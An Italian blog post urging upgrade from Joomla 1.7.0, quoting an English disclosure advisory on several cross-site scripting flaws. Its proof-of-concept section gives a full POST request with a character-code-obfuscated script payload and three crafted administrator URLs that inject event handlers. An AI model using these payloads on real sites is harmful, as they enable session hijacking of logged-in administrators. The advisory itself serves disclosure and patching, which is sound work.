Subito dopo la pubblicazione del pacchetto di aggiornamento alla nuova versione di Joomla 1.7.x, per la precisione la 1.7.1 sono comparsi in rete gli avvisi relativi agli exploit possibili sulla versione 1.7.0.
Seguono i dati della vulnerabilità e consiglio a tutti coloro che utilizzino ancora Joomla 1.7.0 di aggiornare rapidamente alla versione 1.7.1.
Ricordo inoltre che la versione 1.6.x di Joomla non è più supportata, pertanto è consigliato l'aggiornamento al nuovo ramo 1.7.x
Joomla! 1.7.0 | Multiple Cross Site Scripting (XSS) Vulnerabilities
1. OVERVIEW
Joomla! 1.7.0 (stable version) is vulnerable to multiple Cross Site
Scripting issues.
2. BACKGROUND
Joomla is a free and open source content management system (CMS) for
publishing content on the World Wide Web and intranets. It comprises a
model–view–controller (MVC) Web application framework that can also be
used independently.
Joomla is written in PHP, uses object-oriented programming (OOP)
techniques and software design patterns, stores data in a MySQL
database, and includes features such as page caching, RSS feeds,
printable versions of pages, news flashes, blogs, polls, search, and
support for language internationalization.
3. VULNERABILITY DESCRIPTION
Several parameters (searchword, extension, asset, author ) in Joomla!
Core components are not properly sanitized upon submission to the
/index.php url, which allows attacker to conduct Cross Site Scripting
attack. This may allow an attacker to create a specially crafted URL
that would execute arbitrary script code in a victim's browser.
4. VERSION AFFECTED
1.7.0 <=
5. PROOF-OF-CONCEPT/EXPLOIT
component: com_search, parameter: searchword (Browser: IE, Konqueror)
=====================================================================
[REQUEST]
POST /joomla17_noseo/index.php HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: MSIE 8.0
Connection: close
Referer: http://localhost/joomla17_noseo
Content-Type: application/x-www-form-urlencoded
Content-Length: 456
task=search&Itemid=435&searchword=Search';onunload=function(){x=con
firm(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,97,32,109,
101,115,115,97,103,101,32,102,114,111,109,32,65,100,109,105,110,105,115,116
,114,97,116,111,114,33,10,68,111,32,121,111,117,32,119,97,110,116,32,116,11
1,32,103,111,32,116,111,32,73,110,98,111,120,63));alert(String.fromCharCode
(89,111,117,39,118,101,32,103,111,116,32,88,83,83,33));};//xsssssssssss&
;option=com_search
[/REQUEST]
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
User Login is required to execute the following XSSes.
Parameter: extension, Component: com_categories
====================================================
http://localhost/joomla17_noseo/administrator/index.php?option=com_categori
es&extension=com_content%20%22onmouseover=%22alert%28/XSS/%29%22style=%
22width:3000px!important;height:3000px!important;z-index:999999;position:ab
solute!important;left:0;top:0;%22%20x=%22
Parameter: asset , Component: com_media
====================================================
http://localhost/joomla17_noseo/administrator/index.php?option=com_media&am
p;view=images&tmpl=component&e_name=jform_articletext&asset=1%2
2%20onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;heigh
t:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;
%22x=%22&author=
Parameter: author, Component: com_media
====================================================
http://localhost/joomla17_noseo/administrator/index.php?option=com_media&am
p;view=images&tmpl=component&e_name=jform_articletext&asset=&am
p;author=1%22%20onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!imp
ortant;height:3000px!important;z-index:999999;position:absolute!important;l
eft:0;top:0;%22x=%22
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
6. IMPACT
Attackers can compromise currently logged-in user/administrator
session and impersonate arbitrary user actions available under
/administrator/ functions.
7. SOLUTION
Upgrade to Joomla! 1.7.1-stable or higher.
8. VENDOR
Joomla! Developer Team
http://www.joomla.org
9. CREDIT
This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.
10. DISCLOSURE TIME-LINE
2011-07-29: notified vendor
2011-09-26: patched version, 1.7.1-stable, released
2011-09-29: vulnerability disclosed
11. REFERENCES
Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/joomla/core/%5Bjoomla_1.7.0-stable%5D_
cross_site_scripting%28XSS%29
Vendor Advisory URLs:
http://developer.joomla.org/security/news/367-20110901-core-xss-vulnerabili
ty
http://developer.joomla.org/security/news/368-20110902-core-xss-vulnerabili
ty
